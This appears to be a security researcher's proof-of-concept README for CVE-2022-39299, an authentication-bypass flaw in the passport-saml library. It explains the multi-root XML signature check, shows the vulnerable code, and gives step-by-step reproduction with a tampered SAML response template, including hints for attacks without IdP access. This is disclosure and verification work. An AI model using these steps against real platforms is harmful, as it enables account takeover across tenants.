Advisory : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Patch : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Base Payload Example Extracted From node-saml Test-cases: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
Bug Author: felixwilhelm
Exploit Generator Author (The easy part): Francesco Lacerenza
A remote attacker may be able to bypass SAML SSO authentication on a platform by exploiting CVE-2022-39299 affecting the passport-saml library.
A public exploit was not available (at the time of writing), and the advisory was published on 10/12/2022 with little/no information. Doyensec developed a working Proof Of Concept (PoC) generator to verify the issue against multi-tenant platforms in which the tenant admin is able to configure SAML SSO with a custom IdP.
As stated in the advisory:
A successful attack requires that the attacker is in possession of an arbitrary IDP signed XML element. Depending on the IDP used, fully unauthenticated attacks (i.e., without access to a valid user) might also be feasible if generation of a signed message can be triggered.
The vulnerable check is located within the validatePostResponse
function at passport-saml-2.0.0/src/passport-saml/saml.ts:775
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
In particular, validateSignature
checks that the doc.documentElement
in the full XML document contains a valid signature. As documentElement
property returns the first root node of the document, it will verify the signature on the first root element only.
The function continues by verifying that there is just one assertion within the XML:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
As a result, the XML parser will parse an XML document with multiple roots. While a signature can apply to only one root node, XPath can traverse multiple root nodes to find authentication and authorization elements.
In conclusion, one root node may be signed (e.g., Generic SAML Error Message) and then another, unsigned node, could contain modifiable authentication and authorization information. In this way the attacker is able to tamper the authentication information and gain access to any account within the tenant.
NOTE: The exploitation success completely depends on the internal authentication logic related to the use of the passport lib. If the authentication logic completely trusts the authenticated-session object resulting from passport.authenticate(...PASSPORT-SAML_OPTIONS...)
, then it is likely vulnerable.
- Generate a new cert & key with
openssl
in the PoC generator folder:
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
Alternatively, use the ones within this repository.
-
In the target platform, navigate as admin to the SAML SSO Integration panel. Then, set the certificate used to validate signatures from the IdP as the one within this folder.
-
Configure the
payload_appendix.xml
with the authn & authz elements needed by the platform to authenticate SAML SSO Users. You can find such info in the docs or by building a working SSO integration to learn valid auth elements. -
Run the following command to generate a signed multi-root element SAML response containing your tampered data.
python3 payloadGenerator.py
The multi-root element SAML response has the following structure:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
- Hit the login callback endpoint with the generated payload (malicious SAML Response). If the auth logic is vulnerable, a new session cookie for the tampered user will be issued.
NOTE: If you want to exploit this issue when you do not have access to the IdP configuration, just modify the payloadGenerator.py
by substituting the variable signed_base_payload_unicode
used to build the final payload. In order to work, you must substitute it with a signed SAML Response that does not contain Assertions. Good luck finding a way to obtain it from the target's IdP (case-by-case logic applies and no literature is present about them).
In organizations with SAML SSO Integration enabled, attackers could bypass the authentication and login with any user in the tenant.
Despite the advisory states that the attacker could use "an arbitrary IDP signed XML element", the passport-saml library prevents any XML message containing multiple assertions (see code snippet in description session). The limitation requires the attacker to obtain a signed SAML message that does not contain an assertion, like an error message. The presence of such messages depends on the IdP implementation.
As an example, SAML responses without assertions are directly supported by Auth0's library node-samlp.
See at https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
The above example shows the possibility to introduce code paths leading to signed messages without assertions even when using Auth0 technology. In that sense, customers' IdPs may contain such patterns.
If an attacker finds a way to trigger such messages, fully unauthenticated attacks (i.e., without access to a valid user) might also be feasible.
In conclusion, multi-tenant platforms allowing custom per-tenant SAML SSO Integrations vulnerable to CVE-2022-39299 are potentially allowing authentication bypasses whenever the customer's IdP supports signed SAML error messages without assertions.
We conducted testing locally using the following resources:
Generate IdP Signing Certificate in the PoC generator folder
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
Run the IdP with the following command in the folder containing the generated cert & key
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
- SP App - passport-saml-example by gbraad
The app needs additional configuration to work with a local IdP. Just fill the file passport-saml-example/config/config.js
with info from the IdP.
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
Also package.json
needs to be edited to use vulnerable versions of passport. Extract all the needed versions from the target codebase if available.
Once ready, just start the application:
npm install
npm start
- Perform the actions described in the reproduction steps (start from step 3)